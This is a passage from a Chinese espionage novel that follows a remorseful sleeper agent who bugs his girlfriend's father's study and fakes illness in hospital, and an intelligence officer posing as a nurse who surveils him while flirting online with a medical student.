“具体点呢?”秦雄晋坐回他对面,十指交叉,“比如,如果有个来自……爪哇的留学生,我们该怎么对待?是严格审查,还是开放接纳?” 爪哇。这个词像针一样刺进王若愚的神经。 “应该……一视同仁吧,”他说,“只要符合条件。” “但有些地方背景复杂,”秦雄晋喝了口茶,“爪哇那边,最近有点……不太平。据说有间谍组织在渗透教育领域,通过教材、交流项目什么的。” 王若愚的茶杯差点脱手。 “您是说……” “我只是听说,”秦雄晋摆摆手,“可能又是谣言。不过小王,你接触教材工作,要格外小心。有些内容,看似普通,背后可能别有用心。你年轻,容易被人利用。” 他在警告我。他知道了? 不,如果知道了,不会请我来吃饭。 那这是……长辈的关心? 王若愚脑子乱成一团。 这时,书房门被敲响,秦菲儿探头进来:“爸爸,你们聊完没?我切了水果。” “聊完了聊完了,”秦雄晋立刻恢复慈父笑容,“小王给了很多好建议。对吧,小王?” “是……是的。”王若愚机械地起身。走出书房时,他回头看了一眼。砚台还在书桌上,在台灯光下泛着温润的光泽。它正在录音。录下这个关心他的长辈说的话,录下这个温暖的家庭的私密对话,录下一切。而王若愚自己,就是那个把窃听器带进这个家的人。 秦菲儿拉他到二楼的露台。小桌上摆着水果和两杯果汁。 “爸爸没为难你吧?”她担心地问,“他有时候说话太直了。” “没有,秦叔叔很亲切。”王若愚说。这是今晚他说的唯一一句完全真实的话。 夜风很凉。秦菲儿裹了裹披肩,抬头看星星:“你看,今晚星星好多。在东帝汶的时候,你也常看星星吗?” “常看。”王若愚也抬头。星空辽阔,让他想起东帝汶的海滩,想起和伊莎贝拉一起看星星的夜晚——那些他曾经以为浪漫,现在知道全是算计的夜晚。“若愚,”秦菲儿突然轻声说,“我觉得你最近……好像有心事。可以告诉我吗?” 她的眼睛在星光下清澈见底。王若愚有一瞬间,想把一切都告诉她:绑架、训练营、间谍任务、教科书里的密码、砚台里的录音器……全部。但他只是摇头:“没有,就是工作有点累。” “真的吗?”秦菲儿靠近一步,“你有时候看我的眼神,好像……在道歉。为什么?” 王若愚的防线开始崩塌。 他看着她,这个单纯的、善良的、爱着他的女孩。她不应该被卷进这些肮脏的事里。 “菲儿,”他开口,声音沙哑,“如果有一天,你发现我不是你想象中那样的人……你会怎么样?” 秦菲儿歪头:“什么意思?难道你是外星人?” 她试图开玩笑,但王若愚的表情让她收起了笑容。 “若愚,你到底……” “我是说,”王若愚打断她,“如果我有事瞒着你,很重要的事。但说出来会伤害你,甚至伤害你的家人。你会希望我告诉你,还是永远隐瞒?” 露台陷入沉默。远处传来城市的车流声,像背景里的潮汐。 秦菲儿看了他很久。然后,她伸手,轻轻握住他的手。 “若愚,我相信你。所以如果你有秘密,一定有你的理由。我不逼你说。但是……”她握紧他的手,“如果你在承受什么,不要一个人扛。至少让我陪着你。” 王若愚的眼泪毫无预兆地涌上来。他迅速低头,不想让她看见。 “对不起,”他低声说,“对不起,菲儿。” “为什么要道歉?”秦菲儿柔声问,“你什么都没做错啊。” 这句话像一把刀,捅进王若愚心里。 他做了。他正在做。他未来还会做更多。 而他甚至不能告诉她。 手机震动——伊莎贝拉的加密消息:“一小时后,老地方见。带成果。” 王若愚松开秦菲儿的手,后退一步。 “我该走了,”他说,“明天还要早起。” “这么快?”秦菲儿失望,“再待一会儿吧,果汁还没喝……” “下次,”王若愚不敢看她的眼睛,“下次我请你。”他几乎是逃跑般离开了秦家。走到巷口,回头看去,秦菲儿还站在露台上,朝他挥手。他也挥手,然后转身,眼泪终于掉下来。黑色的轿车等在街角。上车后,伊莎贝拉坐在后座,笑容一如既往地妩媚。 “怎么样?家宴愉快吗?” 王若愚没说话,只是把手机递过去——里面是他在书房偷偷拍的文件照片,还有砚台录音器的启动确认码。伊莎贝拉接过,满意地点头:“很好。看来秦雄晋对你很信任。下一步,你可以……” “够了。”王若愚打断她。 伊莎贝拉挑眉:“嗯?” “我说够了,”王若愚看着窗外,声音疲惫,“今天够了。送我回去。” 伊莎贝拉盯着他看了几秒,然后轻笑:“良心发现?小王,现在收手已经晚了。你已经把密码放进了教科书,把窃听器放进了议员书房。你现在是‘我们的人’,永远都是。” 王若愚闭上眼睛。他知道她说得对。 车子启动,驶入夜色。经过一家书店时,橱窗里陈列着各种教科书,其中一本的封面写着:“知识改变命运”。王若愚看着那行字,突然笑了。笑声苦涩。知识改变命运?是的,但有时候,知识只是让你更清楚地看到自己正在坠落的深渊。 凌晨两点十七分,薛耀溪瞪着宿舍天花板上的一条裂缝,感觉它像极了自己人生的分界线——左边是医学教材,右边是摇滚乐海报;左边是父亲的期望,右边是月影的对话框。手机屏幕在黑暗中发着幽光。月影三分钟前发来的消息还亮着:“睡不着。想看看星星,但城市的灯光太亮。你那边能看到星星吗?” 薛耀溪翻身坐起,蹑手蹑脚地走到窗边——窗外,圣保罗医学院的上空,别说星星,连月亮都被雾霾吞得只剩一团模糊的光晕。他打字:“看不到星星。什么也看不到” 发送。 但回复是:“想看看我吗?” 四个字。薛耀溪的手指僵在屏幕上。 然后又一个消息弹出来:“视频?就一分钟。我想看看‘笼子里的小狼狗’长什么样。” 薛耀溪的大脑开始高速运转,计算风险: 风险一:暴露真实身份。 ——但她只知道他是医学院学生,不知道具体学校、姓名。他可以用假背景。 风险二:被截图。 ——她会吗?为什么要截图一个陌生网友? 风险三:看到不该看的。 ——宿舍背景会暴露。但……可以把摄像头对准床帘,或者……去厕所? 风险四:心跳过快导致猝死。 ——医学常识告诉他这不可能,但此刻他的心脏确实在胸腔里开重金属演唱会。 他还没回复,视频邀请的弹窗已经跳出来了。 薛耀溪像接炸弹一样捧着手机,冲进宿舍自带的迷你卫生间,锁上门。空间小得转个身都困难,马桶盖是他唯一的座椅。 他深呼吸三次,按下接听。 屏幕暗了三秒——她在调整?然后画面亮起。 模糊。 非常模糊。 像隔着一层磨砂玻璃,又像镜头前蒙了层薄纱。只能看到一个女人的轮廓:长发,侧脸,鼻梁的弧度很优雅。背景是暗色调,隐约能看到书架和红酒瓶的轮廓。“能看到我吗?”她的声音通过听筒传来,比文字更真实,带着轻微的、慵懒的沙哑。 “能……但有点模糊。”薛耀溪老实说。他尽量压低声音,怕吵醒室友。 “故意的,”她轻笑,“神秘感是成年人的化妆品。你那边更黑——在厕所?” 薛耀溪这才意识到,自己只开了前置摄像头,没开灯。画面里只有他下巴以下的部分,和背后一块模糊的瓷砖。 “嗯。”他说。 “真乖,”她的语气像在逗宠物,“但我想看看你的脸。开灯?” 薛耀溪犹豫了一秒,打开手机电筒——不是卫生间的灯,那太亮了。电筒光从下往上打,他立刻意识到这像恐怖片里的打光,但已经来不及了。屏幕那端,月影似乎愣了一下,然后笑出声:“哇,这个角度……你很懂营造氛围嘛。下次如果你想吓我,提前说一声。” “对不起,”薛耀溪慌忙调整角度,让光正常些,“我不是故意的……” “没关系,”她的声音里还带着笑意,“至少看清了你的下巴。线条不错,没长歪。” 薛耀溪耳朵发烫。他看到了她——虽然模糊,但能看到她侧脸的轮廓,看到她举着红酒杯的手指(修长,涂着暗红色指甲油),看到她身后书架上的书脊(全是外文,看不清标题)。 “你在喝酒?”他问。 “一点点,助眠,”她晃了晃酒杯,“今天见了几个无聊的人,说了很多无聊的话。需要酒精洗洗脑子。” “你经常见……无聊的人?” “职业需要,”她含糊地带过,“你呢?凌晨两点不睡,在想什么?” 薛耀溪看着屏幕上她模糊的侧影,突然有种冲动——把一切都告诉她。父亲的掌控,医学院的压力,对未来的迷茫,甚至……昨天在网吧遇到桑副官的事。但他说出口的却是:“在想……预习解剖学。稍微看了一点书,我还没背完十二对脑神经。” 月影笑了,笑声像羽毛扫过耳膜:“嗅视动滑三叉,外展面听舌咽迷副舌下。需要我帮你编个顺口溜吗?” 薛耀溪瞪大眼睛:“你怎么知道?” “因为我是护士,”她轻描淡写,“以前老师逼我背过,说这样在他做手术时,我能理解他在做什么。所以我编了一个顺口溜。”薛耀溪不知道该说什么。护士,手术……她的世界离他太远了。 “吓到了?”她问。 “没有,”他嘴硬,“只是……没想到你会懂医学。” “我懂很多东西,小狼狗,”她的声音压低,带着诱惑的磁性,“医学,艺术,投资,人心……但最懂的,是怎么在无聊的世界里找乐子。” 她转过脸——虽然还是模糊,但薛耀溪能感觉到她在看他。 “你想找点乐子吗?” 视频通话持续了九分钟四十三秒。结束后,薛耀溪坐在马桶盖上,感觉自己像刚跑完马拉松。 月影最后说:“下周这个时间,如果我还没睡,再打给你。但有个条件——你要告诉我一件你从来没告诉过任何人的事。作为交换,我也告诉你一件我的。” “什么事都可以?”薛耀溪当时问。 “越真实越好。越见不得光越好。”她轻笑,“真实的人性比任何小说都精彩。”然后她就挂了。屏幕暗下去,卫生间恢复黑暗,只有薛耀溪的心跳声在狭小空间里回荡。他走回床边,躺下盯着天花板,脑子里全是月影模糊的侧脸,她沙哑的笑声,她说的“护士”,还有那句“宝贝儿”。 她最后叫他“宝贝儿”。 不是文字,是声音。带着酒意和慵懒,从听筒里直接钻进耳朵,然后顺着神经一路烧到脊椎。 “晚安,宝贝儿。记得磨牙,但别咬到舌头。” 薛耀溪用枕头捂住脸,无声地尖叫。 第二天早上七点,他被三个闹钟轮番轰炸叫醒——这是为了防止自己睡过头错过晨练而设的连环计。 去公共水房洗漱时,他看着镜子里憔悴的自己,黑眼圈深得像被人打了两拳。“你昨晚干嘛了?”何念曦一边刷牙一边含糊地问,“我半夜好像听到你在房间里说话。” 薛耀溪的心脏停跳一拍。“说梦话吧,”他面不改色地撒谎,“我压力大时会说梦话。高中时还梦游过,把家里的冰箱门打开了,说里面藏了尸体。”这倒是真的——虽然“尸体”是他藏起来的冰淇淋,被父亲发现后禁食甜品一个月。 午饭时,他收到月影的消息: “月影:书看得如何了?我的顺口溜记住了吗?” “溪流:记住了。” “月影:某种意义上,你确实‘通宵’了。(眨眼表情)” “溪流:下周……你真的还会打视频吗?” “月影:如果你准备好了你的‘秘密’。顺便,我今天发现一件有趣的事——我们圣保罗医院隔壁的医学院有个学生,长得有点像你。当然,模糊的侧脸很难说准。” 薛耀溪的筷子掉在餐盘上。 她知道他在圣保罗医学院? 不,不可能。她只是说“有点像你”,可能是巧合……但他想起昨晚视频时,他背后的瓷砖——圣保罗医学院宿舍卫生间的瓷砖是特有的浅绿色,有菱形花纹。如果有人熟悉这里……冷静。可能只是试探。 他打字:“不知道。茫茫人海,长得像的人多了去。” “月影:也是。不过世界真小,对吧?有时候你以为陌生的人,可能就在你一墙之隔。”这句话让薛耀溪一整天心神不宁。结果,下午他被尹 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“月影:在干嘛?” “溪流:刚看完书觉脑子被化学方程式烧坏了。” “月影:需要酒精修复吗?我这里有82年的拉菲,虽然我觉得它被高估了——像某些男人的承诺,年代久远但不一定好喝。” “溪流:我连啤酒都没喝过几次。我爸说酒精影响神经发育。” “月影:你已经十九岁了,小狼狗。神经发育?你爸是不是还觉得你会长高?(大笑表情)” 薛耀溪笑了。这是今天第一次真心的笑。 他们又开始聊天。从酒精聊到家庭教育,从家庭教育聊到自由的定义。月影说她十六岁就偷喝父亲的威士忌,“结果吐了一晚上,但觉得值——至少那呕吐物是我自己选择的结果。” “溪流:你父亲不生气?” “月影:他生气,但更多的是……欣慰。他说‘至少你敢’。后来他教我怎么品酒,而不是瞎喝。” “溪流:听起来是个好父亲。” “月影:他是。但他也是第一个告诉我,世界是个巨大的骗局的人。他说‘规则是给遵守规则的人定的。如果你想制定规则,就得先学会打破它们’。”薛耀溪看着这段话,胸口发热。 “溪流:我父亲只会说‘规则就是规则’。” “月影:那你就该成为那个改写规则的人。从最小的事开始——比如,明天出来,去做一件你真正想做的事。” 薛耀溪心跳加速——— “溪流:逃课去哪里?” “月影:去一个能让你忘记时间的地方。博物馆,咖啡馆,电影院,或者……就在宿舍睡一整天。重要的是,这是你的选择,不是别人的安排。” 对话持续到凌晨一点。月影说她困了。 “月影:最后给你看样东西。” 她发来一张照片。 依然模糊——似乎是故意对焦不准。但能看出是一个女人的手,手腕上戴着一条细细的手链,手链上挂着一个小小的蛇形吊坠。背景是暗红色的丝绒床单。 “这是我十八岁时,父亲送我的礼物。他说‘蛇看起来很危险,但它们只是按本能生存。你要像蛇一样——知道什么时候该躲,什么时候该咬’。” 薛耀溪放大照片。蛇形吊坠做工精致,眼睛是两颗细小的红宝石。 “溪流:很漂亮。” “月影:它也保护过我很多次。好了,真的该睡了。晚安,宝贝儿。” 又是“宝贝儿”。 薛耀溪盯着这两个字,像盯着某种咒语。然后他做了一件自己都没预料到的事——他把这张模糊的照片保存下来,放进一个加密相册。 相册的名字叫“笼子之外”。 里面只有两张照片:这张模糊的手链照,还有上次她发的东京夜景。 他锁上相册,躺回床上。黑暗中,他举起手机,屏幕光照亮天花板。 “宝贝儿。”他低声重复这个词。 很奇怪,明明是个有点肉麻、有点老套的称呼。但从她嘴里说出来,带着慵懒的、宠溺的、居高临下的温柔,就像……就像她真的在看着他,看着他这只困在笼子里的小动物,既觉得他可怜,又觉得他可爱。 薛耀溪闭上眼睛。 他想:下周的视频通话,我要告诉她什么秘密? 告诉她自己其实很害怕?害怕让父亲失望,害怕学不好医,害怕一辈子穿着不合身的西装,扮演别人期望的角色?还是告诉她,他偷偷在床垫下藏了一把吉他——虽然只会弹三个和弦,但那三个和弦发出的声音,比任何医学知识都让他觉得真实? 或者……告诉她,他昨晚梦到她了。虽然梦里她的脸依然模糊,但她牵着他的手,把他从一栋白色的建筑里拉出来。那栋建筑长得像圣保罗医院。 手机又震动。他以为是她。 但却是父亲:“下周讲座的具体时间发你了。记得准备。” 薛耀溪盯着消息,突然做了个决定。 他回复:“爸,下周我可能有活动,去不了。” 发送。然后关机。 这是十九年来,他第一次对父亲明确说“不”。 虽然理由是编的——下周根本没有活动。 虽然他知道,明天父亲可能会打电话核实。 虽然他知道,这可能会引发一场战争。 但此刻,躺在宿舍窄小的床上,薛耀溪感觉胸腔里有什么东西破土而出——不是叛逆,不是愤怒,而是一种陌生的、尖锐的自由。 像月影说的:磨牙。 他舔了舔自己的牙齿,确实有点尖。 窗外,圣保罗医院五楼的灯还亮着。某个窗户里,孟晓美刚刚结束夜班,脱掉护士服,换上便装。她拿起手机,看到“溪流”的最后一条消息:“晚安。” 她笑了笑,打字回复:“晚安,小狼狗。祝你好梦。”然后她删除了聊天记录,从手机里取出加密SIM卡,换上日常用的卡。做完这些,她走到窗边,看向远处的医学院宿舍楼。似乎某个窗户还亮着微弱的光——可能是台灯,可能是电脑屏幕。 她看了几秒,然后拉上窗帘。 幽默在深夜发酵:一个男孩因为一个模糊的侧脸和一声“宝贝儿”开始第一次反抗;一个女人在执行任务和扮演“知心姐姐”之间无缝切换;而他们之间,只隔着一堵墙,和无数层谎言。 但今晚,至少在这一刻,薛耀溪觉得那堵墙薄得像纸。 他睡着了,嘴角带着笑。 梦里,他变成了一条蛇,滑出笼子,钻进夜色。月光下,他的鳞片闪着银光。 而在另一个梦里,孟晓美梦见自己站在舞台上,台下坐着所有她骗过的人——家人、同事、目标、还有薛耀溪。她在台上跳舞,跳着踢踏舞,脚下的舞台是由笼子的栏杆搭成的。 她跳得很稳,一次也没踩空。 75.护士站的监控 周三上午十点,圣保罗医院五楼护士站。 孟晓美盯着电脑屏幕上王若愚的医疗记录,感觉这人的体温曲线比她的人生规划还诡异。 “看什么呢,晓美姐?”实习护士薇薇安凑过来,“哇,这体温——36.2,36.3,36.1,37.8,36.0,38.2……这病人是装了体温过山车吗?” “急诊科上周转来的食物中毒病人,”孟晓美点击鼠标,调出更多数据,“主诉:腹痛、呕吐、腹泻。但你看血常规——基本正常。大便培养——阴性。腹部CT——没问题。” “那怎么会烧到38度?” “这就是有趣的地方。”孟晓美放大体温单的时间戳,“每次高烧都发生在凌晨两点到四点之间。白天查房时体温正常,精神良好。护士夜班记录写:‘患者主诉发热,但皮肤温度正常,拒绝物理降温,要求口服退烧药’。” 薇薇安眨眨眼:“装病?” “或者,”孟晓美打印出记录,“他体内有个精准的、只在凌晨两点启动的发热开关。” 她想起三天前印度环蛇偷偷给了她一份监视名单,王若愚的名字在第三页,备注:“教育部新晋官员,东帝汶留学背景,疑似爪哇线人。监控等级:B级(观察为主)”。 当时她觉得这个名字有点熟——后来想起是在秦雄晋议员的加密通话录音里听到过。秦菲儿的男朋友。 而现在,这个“疑似间谍”正躺在圣保罗医院9号病房,用教科书级别的演技表演食物中毒! “晓美姐,你要去查房吗?”薇薇安问,“9床今天该换药了。” “我去吧,”孟晓美收起打印件,“你帮我盯着12床,别让他再偷吃巧克力——他家属刚才又塞了一盒,我藏在护士站最下面抽屉了。” “又藏?”薇薇安哀嚎,“晓美姐,咱们护士站快成巧克力黑市了!” “这叫医疗废物暂存,”孟晓美正色道,“等攒够一箱,捐给儿童病房——当然,要在12床出院之后。” 她推着护理车走向9号病房,白大褂口袋里除了听诊器和笔,还多了一个纽扣大小的热成像仪。情报局新配发的“小玩具”,能隔着衣服测体表温度,误差±0.2℃。 推开9号病房门时,王若愚正躺在床上看手机,脸色确实有点苍白——但孟晓美一眼就看出,那是粉底液的痕迹,色号还选错了,偏灰。 “王先生,感觉怎么样?”她挂上标准护士微笑。 “还是有点发热,”王若愚虚弱地说,“特别是晚上……” “我看看。”孟晓美拿出体温计——普通的水银体温计,不是电子枪。她想看看他怎么操作。 王若愚接过,熟练地夹在腋下。但就在他抬胳膊的瞬间,孟晓美口袋里的热成像仪震动了一下。 她低头,藏在口袋里的手机屏幕上显示出热成像图:王若愚腋下区域温度异常——不是高,是低。比周围皮肤低约1.5℃。 有趣。正常发烧病人腋下温度应该偏高或正常,不会偏低。 除非……他在腋下藏了什么东西。冷的东西。 三分钟后,王若愚取出体温计,递给她:“您看,37.9度。” 孟晓美对着光看水银柱——确实停在37.9的位置。但水银柱的顶端有个微小的、不自然的弯曲,像被外力按压过。 她明白了。这人不是在装发烧,是在伪造体温计读数。方法很简单:在腋下藏一个冷源(比如小冰袋),让体温计初始温度降低,然后在取出的瞬间用手温加热水银泡,让水银快速上升,但只升到想要的刻度。 拙劣,但有效——如果不仔细观察的话。 “确实有点低烧,”孟晓美记录,“晚上睡得不好吗?” “嗯,总做噩梦,”王若愚眼神闪烁,“可能是……后遗症。” “后遗症?” “我之前在东帝汶……遇到些不好的事。”他含糊带过。 孟晓美点头,表示理解。她当然知道“不好的事”是什么——情报局档案里写着:“疑遭爪哇情报机构绑架、洗脑、训练”。 她一边量血压,一边状似随意地问:“王先生做什么工作的?” “教育部,负责教材审查。” “哦,那很辛苦吧?要读很多书?” “还好。”王若愚的血压有点高——135/90。紧张? “我一个远房表弟也在读大学,”孟晓美继续闲聊,“他说现在的教科书越来越难了。特别是历史书,内容太多。” “历史确实复杂,”王若愚的声音突然变得谨慎,“我们尽力让内容准确。” “准确最重要,”孟晓美收起血压计,微笑道,“对了,您今天需要换药吗?我看伤口愈合得不错。” 她指的是王若愚手背上的留置针——三天前打的,按理说该换了。但王若愚立刻摇头:“不用不用,这个还好,不疼。” 孟晓美注意到,他说这话时,手指不自觉地护住了留置针附近的皮肤。 她假装检查输液管,指尖轻轻拂过他的手背。留置针的敷贴边缘有轻微翘起——不是自然脱落,是被小心揭开过又粘回去的痕迹。 有人在通过留置针注射什么东西?还是他自己? “那好吧,”她直起身,“如果晚上再发烧,可以按呼叫铃。我们值班护士会处理。” “谢谢。”王若愚明显松了口气。 走出病房,孟晓美在走廊拐角停下,快速用加密手机发消息: “目标9床疑伪造体温,腋下藏冷源,留置针敷贴被动过。建议:今晚夜班重点监控。是否需要进一步检查留置针内容物?——丽纹蛇” 一分钟后,回复:“批准夜班监控。暂勿动留置针,以免打草惊蛇。另:地下会议室今晚20:00有简报会,务必出席。带脑子,别带巧克力。——印度环蛇” 孟晓美笑了笑,收起手机。她回到护士站,薇薇安正在和12床的病人家属周旋——对方坚持要拿回巧克力,理由是“病人需要糖分维持心情愉悦”。 “心情愉悦很重要,”孟晓美加入战局,“但血糖飙升导致伤口愈合延迟,心情会更不愉悦。这样吧,每天下午三点,我亲自给他一块巧克力,作为‘医疗奖励’,怎么样?” 家属勉强同意。薇薇安对孟晓美投来崇拜的目光。 但孟晓美心里想的是:每天下午三点,正是护士站最忙的时候,12床病人大概率会忘记要巧克力。完美。 晚上七点五十,孟晓美换上便装,走进医院地下二层——除了印度环蛇印度环蛇,还有三个人:一个穿着白大褂的中年医生(胸牌写着“眼科姜医生”),一个穿着保洁服的大妈(正在擦桌子),还有一个穿着病号服的年轻人(坐在轮椅上,腿上放着笔记本电脑)。 “人到齐了,”印度环蛇关上防爆门,“简单介绍一下:姜医生,你们都认识;这位是保洁王阿姨,负责医院各楼层的‘环境维护’;这位是17床病人本杰明,信息科的,暂时在这里‘住院观察’。” 本杰明举起手,虚弱地说:“急性阑尾炎,真的。不是装的。” “我们知道,”印度环蛇翻了个白眼,“开始吧。” 投影仪亮起,屏幕上出现王若愚的照片和档案。 “王若愚,26岁,瑆洲教育部国际交流处副科长,”印度环蛇用激光笔指着屏幕,“三个月前从东帝汶‘奇迹生还’,宣称被恐怖分子绑架。但我们的情报显示,他很可能接受了爪哇情报机构的训练,现在是休眠间谍。” 姜医生皱眉:“证据?” “间接证据:一,他在东帝汶的‘绑架’太过戏剧化,且无目击者;二,回国后迅速进入教育部核心岗位,速度异常;三,最近与秦雄晋议员女儿交往密切,而秦雄晋掌握大量教育政策机密。” 保洁王阿姨举手:“我打扫9床病房时,发现他把药片藏在枕头套里,没吃。” “什么药?”孟晓美问。 “头孢类抗生素,”王阿姨说,“但他根本没感染,不需要吃。我怀疑是其他药物,换了包装。” 本杰明在电脑上敲了几下,调出监控画面:“这是9床病房的隐藏摄像头画面——抱歉,涉及病人隐私,但国家安全优先。” 画面显示,王若愚在凌晨一点左右会醒来,从枕头下取出一个小盒子,吞服一粒药片。然后他会拿出手机,似乎在发送消息。 “我们截获了他手机的加密信号,”本杰明说,“但破解需要时间。目前只知道信号接收方在爪哇。” 孟晓美盯着画面:“所以他半夜‘发烧’,其实是服药后与上线联系的时间窗口?” “很可能,”印度环蛇点头,“药物可能是某种兴奋剂或神经激活剂,用来在特定时间保持清醒。副作用可能导致体温波动——但他伪造体温读数,是为了夸大症状,延长住院时间。” “为什么要住院?”姜医生问,“暴露在医疗监控下不是更危险吗?” “几个可能:一,他在医院有接头人;二,医院有他需要的东西;三,他在躲避什么。”印度环蛇看向孟晓美,“丽纹蛇,你接触过他,有什么直觉?” 孟晓美思考了几秒:“他在保护留置针。我怀疑里面有东西——不是药物,可能是微型存储设备。他想带出医院。” 本杰明眼睛一亮:“留置针导管是中空的!理论上可以藏一个微型U盘或者记忆卡!” “但不能太大,否则会堵塞输液,”姜医生从医学角度分析,“而且留置针通常三天更换,他必须尽快取出来。” “他住院几天了?”孟晓美问。 “今天第四天,”印度环蛇看了看日程表,“按常规,明天护士会要求更换留置针。” 会议室安静下来。所有人都在想同一件事:如果留置针里真有东西,王若愚必须在今晚或明早行动。 “任务变更,”印度环蛇敲了敲桌子,“丽纹蛇,你今晚值夜班。目标:在不惊动他的情况下,确认留置针内是否有异物。如果有,判断他如何取出、交给谁。” “如果他要传递呢?”孟晓美问。 “让他传,”印度环蛇露出一个诡异的笑容,“但我们要知道传给谁。王阿姨,你负责医院各出口的监控;本杰明,你盯着信号;姜医生,你准备医疗应急——万一他要强行取出留置针导致出血。” “收到。”三人同时回答。 “还有什么问题?”印度环蛇环视一圈。 保洁王阿姨举手:“9床的床头柜有点摇晃,我能去修一下吗?顺便放个窃听器。” “批准,”印度环蛇说,“但要自然。别像上次那样,把窃听器装在假蟑螂肚子里——病人吓得跳窗,虽然只是一楼。” “那次是意外,”王阿姨嘟囔,“谁知道他那么怕蟑螂……” “无论如何,”印度环蛇:“根据滕老板的指示,我们必须在最短时间内搞定这件事。” 晚上十一点,孟晓美换上夜班护士服,口袋里除了常规装备,还多了一支特制注射器——里面不是药物,是微型光纤探头,可以从留置针的肝素帽端口插入,检查导管内部。 但用这个的风险很高:如果王若愚突然醒来,或者探 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但等等……导管内壁有几处不自然的反光点。她调整焦距,看清了——是极薄的、透明的薄膜,贴在导管内壁,几乎与塑料融为一体。 如果不是特意寻找,根本发现不了。 薄膜上似乎有微小的印刷图案。孟晓美放大图像,勉强辨认出:是二维码的一部分。 她把探头再往里推,想看到更多。但就在这时—— 卫生间的水声停了。 孟晓美迅速抽出探头,将肝素帽恢复原状,敷贴粘好。刚退到病房门口,卫生间的门开了。 王若愚走出来,看到她的瞬间,身体明显僵了一下。 “孟护士?您怎么……” “例行查房,”孟晓美保持镇定,“看您不在床上,以为有什么事。” “哦,我上厕所。”王若愚走回床边,手不自觉地摸了摸留置针。 “需要帮忙吗?”孟晓美问。 “不用不用,”他躺下,拉上被子,“我睡了。” 孟晓美退出病房,关上门。背靠着冰冷的墙壁,她深吸一口气。 成功了。她看到了。 那层薄膜,那个二维码——绝对是情报存储介质。而且设计巧妙:贴在导管内壁,随输液液体流动不会脱落,只有用特定溶剂溶解薄膜,或者用微型钩子取出,才能读取信息。 王若愚刚才在卫生间,很可能就是在操作取出或准备取出。 她回到护理站,用加密手机汇报: “确认留置针导管内藏匿薄膜存储介质。目标可能已取出或准备取出。建议加强医院各出口监控,特别是医疗废物通道。——丽纹蛇” 回复很快:“已部署。继续观察。另:保洁王阿姨在9床床头柜下放了‘小礼物’,注意接收信号。” 孟晓美调出窃听器频道。耳机里传来王若愚翻身的声音,还有……低低的啜泣? 她皱眉。间谍在哭? 仔细听,是压抑的、痛苦的抽泣。还有断断续续的低声自语:“对不起……菲儿……对不起……” 秦菲儿。他的女朋友。 孟晓美关掉耳机。有些声音,她不想听。 凌晨三点,监控显示王若愚再次起床。这次他没去卫生间,而是走到窗边,站了很久。 然后他回到床边,从抽屉里拿出纸笔,开始写字。 写得很慢,写写停停。最后,他把纸撕碎,冲进了马桶。 孟晓美看着监控画面里他颓然的背影,突然觉得这个间谍有点……可怜。 但下一秒,她就掐灭了这个念头。情报工作没有怜悯,只有任务。 她打开加密聊天软件,“溪流”发来一条消息: “溪流:刚做完噩梦醒了。梦到我在一个白色房间里,墙上全是二维码,每个二维码扫出来都是我的脸。你说这梦有什么寓意?” 孟晓美盯着“二维码”三个字,心里一紧。 巧合? 她回复:“月影:可能你最近看太多条形码了。建议睡前别看商品标签。(笑脸)” 发送。然后她关掉聊天软件,专注于监控屏幕。 窗外的天色开始泛白。新的一天要开始了,新的谎言、新的任务、新的监控也在继续。 而在9号病房里,王若愚终于睡着了,眉头紧皱,手里还握着手机。 屏幕上,是和秦菲儿的聊天界面。最后一条消息是她发的:“明天给你带汤。好好休息,别想太多。” 他没回复。 因为他知道,有些事,不是“别想太多”就能解决的。 比如藏在血管里的秘密,比如对爱人的背叛,比如自己越来越分不清,到底哪个才是真正的王若愚——是瑆洲教育部的年轻官员,还是爪哇情报局的休眠间谍? 黑色幽默在晨曦中变得苍白:一个人躺在病床上,身体里藏着国家的秘密,心里藏着个人的愧疚。而监控他的人,也在被另一个人监控。层层嵌套,无人幸免。 孟晓美看着窗外渐渐亮起的天空,喝下今晚第四杯咖啡。 “新的一天,”她对自己说,“新的谎言。” 然后她戴上护士帽,微笑,准备迎接早班同事的到来。 毕竟,在圣保罗医院,有些人是真的生病了,有些人是装的,而有些人——比如她——是来治病的,也是来制造病的。 这大概就是现代医疗的黑色幽默吧。 76.泡面与红酒 周五晚上八点,薛耀溪盯着桌上那桶泡面——红烧牛肉味,经典款,开水注入三分钟后塑料叉子插在纸盖上,像某种简陋的祭品。 这是他本周第七桶泡面。徐燕风制定的假期活动安排表密集得像蜂窝煤的孔洞,而他的烹饪技能停留在“能把水烧开”这一奇迹阶段。他们都跑出去撒疯撒野了,宿舍乃至整个宿舍楼成了他一个人的王国——如果堆满脏衣服和空饮料瓶的十平米能称为王国的话。 手机屏幕亮着,月影的对话框在最上面。 她十分钟前说:“刚开了一瓶82年的拉菲。它在橡木桶里沉睡的时候,你还没出生呢。” 薛耀溪看着这句话,又看看自己面前的泡面。塑料碗边缘渗出的油渍,在台灯下泛着廉价的光泽。 他打字:“我在吃泡面。红烧牛肉味,据说是‘经典风味’,但我怀疑他们搞错了‘经典’的定义——可能是指‘经典地难吃’。” 发送。然后他揭开泡面盖,蒸汽糊了一脸。他吹了吹,卷起一叉子面条,塞进嘴里。 味道……确实是经典的红烧牛肉味,一种工业化的、标准化的、与真实牛肉关系暧昧的咸鲜。就像他的生活:(未来)标准化的医学院课程,(未来)标准化的家族期望,标准化的未来规划——红烧牛肉味的人生。 手机震动。 “月影:(大笑表情)泡面是单身汉的勋章。我大学时也吃过,记得有个牌子叫‘幸运面’,吃完之后我食物中毒了——一点都不幸运。” “溪流:那你现在吃什么?” “月流:在吃回忆。还有这块干酪——48个月陈化的曼彻格,咸得像某个失恋的眼泪。” “溪流:你好像总拿食物比喻感情。” “月影:因为两者都会变质,只是时间问题。泡面变质要三年,爱情有时候只要三天。” 薛耀溪笑了,又卷起一叉子面条。这次他仔细品尝——面体已经有点软了,吸水过度。像他最近的脑子,被知识灌得太满,快要失去弹性。 “溪流:但泡面至少诚实。包装上就写着‘图片仅供参考’,不像有些人,表面光鲜,内里……” “月影:内里也是泡面?哦亲爱的,你太悲观了。有些人内里是法式鹅肝,只是装在了塑料碗里。” “溪流:那你呢?你是什么?” “月影:我大概是……放了太久的红酒。曾经香醇,现在有点醋味,但有人就爱这一口。” 薛耀溪想象她坐在某个高级公寓里,穿着丝绸睡衣,摇晃红酒杯的样子。背景也许是落地窗,窗外是城市夜景。而他现在穿着三天没洗的T恤,坐在宿舍里,听着隔壁打游戏的吼叫声。 两个世界。隔着屏幕,也隔着人生。 月影发来一张照片:一只纤细的手握着红酒杯,杯中酒液在灯光下是深宝石红色。背景虚化,但能看到皮质沙发的一角,和茶几上摊开的书。 